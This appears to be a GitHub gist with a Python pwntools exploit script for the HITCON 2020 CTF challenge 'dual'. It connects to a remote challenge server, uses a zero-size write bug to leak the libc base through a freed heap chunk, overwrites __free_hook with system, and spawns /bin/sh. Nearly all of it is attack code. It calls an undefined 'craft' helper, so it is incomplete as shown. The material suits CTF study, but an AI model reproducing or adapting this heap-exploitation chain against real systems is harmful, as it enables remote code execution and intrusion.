HITCON2020 dual expolit
from pwn import * | |
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so') | |
host = '13.231.226.137' | |
port = 9573 | |
p = remote(host, port) | |
def op(): | |
p.recvuntil('op>') | |
def create(pred): | |
op() | |
p.sendline('1') | |
p.recvuntil('pred_id>\n') | |
p.sendline(str(pred)) | |
res = p.recvuntil('op>') | |
res = int(res[:-len('op>')]) | |
p.unrecv(b'op>') | |
return res | |
def connect(pred, succ): | |
op() | |
p.sendline('2') | |
p.recvuntil('pred_id') | |
p.sendline(str(pred)) | |
p.recvuntil('succ_id') | |
p.sendline(str(succ)) | |
def disconnect(pred, succ): | |
op() | |
p.sendline('3') | |
p.recvuntil('pred_id') | |
p.sendline(str(pred)) | |
p.recvuntil('succ_id') | |
p.sendline(str(succ)) | |
def write_text(node, text, shell=False): | |
op() | |
p.sendline('4') | |
p.recvuntil('node_id') | |
p.sendline(str(node)) | |
p.recvuntil('text_len') | |
p.sendline(str(len(text))) | |
if shell: | |
p.interactive() | |
exit() | |
p.recvuntil('text') | |
p.send(text) | |
def write_bin(node, text): | |
op() | |
p.sendline('5') | |
p.recvuntil('node_id') | |
p.sendline(str(node)) | |
p.recvuntil('bin_len') | |
p.sendline(str(len(text))) | |
p.recvuntil('bin') | |
p.send(text) | |
def read(node): | |
op() | |
p.sendline('6') | |
p.recvuntil('node_id>\n') | |
p.sendline(str(node)) | |
res = p.recvuntil('op>') | |
res = res[:-len('op>')] | |
p.unrecv(b'op>') | |
return res | |
def gc(): | |
op() | |
p.sendline('7') | |
# Step 1: leak libc base. | |
# Prepare a root node for later. In the second step the DFS will go down here first, | |
# so it won't crash on the nodes we crafted in the first step. | |
na = create(0) | |
# Root node for step 1. | |
nb = create(0) | |
# Bug: write_bin with size 0 will return 1 instead of a pointer. | |
write_bin(nb, '') | |
# This node can be overwritten with nb.text. | |
n1 = create(nb) | |
# Node that will be freed for the libc leak. | |
n2 = create(nb) | |
# Allocate >0x400 bytes so that the chunk will skip the tcache. | |
write_text(n2, 'X'*0x500) | |
# Create another node to avoid consolidation with the top chunk. | |
n3 = create(nb) | |
# Free node 2 for the unsorted bin leak: the freed chunk now contains pointers to the main arena. | |
disconnect(nb, n2) | |
gc() | |
# Craft n1 so that we can read the pointers from the heap. | |
crafted = craft(n1, text_idx=n1, text_len=0x100) | |
print('writing', len(crafted), 'bytes:', crafted) | |
write_text(nb, crafted) | |
leak = read(n1) | |
print(leak) | |
leak_libc = u64(leak[160:160+8]) | |
print('leak arena:', hex(leak_libc)) | |
leak_offset = 2014176 # main_arena + 96 | |
main_arena = 0x7ffff7c2cb80 # libc.symbols['main_arena'] | |
print('main_arena', hex(main_arena)) | |
print('leak_offset', hex(leak_offset)) | |
libc_base = leak_libc - leak_offset | |
print('libc base:', hex(libc_base)) | |
pause() | |
# Step 2: write what-were to get a shell. | |
libc.address = libc_base | |
system = libc.symbols['system'] | |
what = system | |
print('system:', hex(system)) | |
free_hook = libc.symbols['__free_hook'] | |
where = free_hook | |
print('__free_hook:', hex(free_hook)) | |
# write_bin bug again to control a second node. | |
write_bin(n3, '') | |
# This node can be overwritten with n3.text. | |
n4 = create(na) | |
# Prepare nodes for arbitrary write. | |
wherenode = craft(n1, edges=where-8, last_edge=where, edges_end=where+32) | |
whatnode = craft(n4, pool_idx=what) | |
write_text(n3, whatnode) | |
write_text(nb, wherenode) | |
# Trigger arbitrary write. | |
connect(n1, n4) | |
pause() | |
# Write in a chunk and trigger the free in write_text to call system("/bin/sh"). | |
write_text(nb, b'/bin/sh\x00') | |
write_text(nb, 'A'*1500, shell=True) | |
p.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment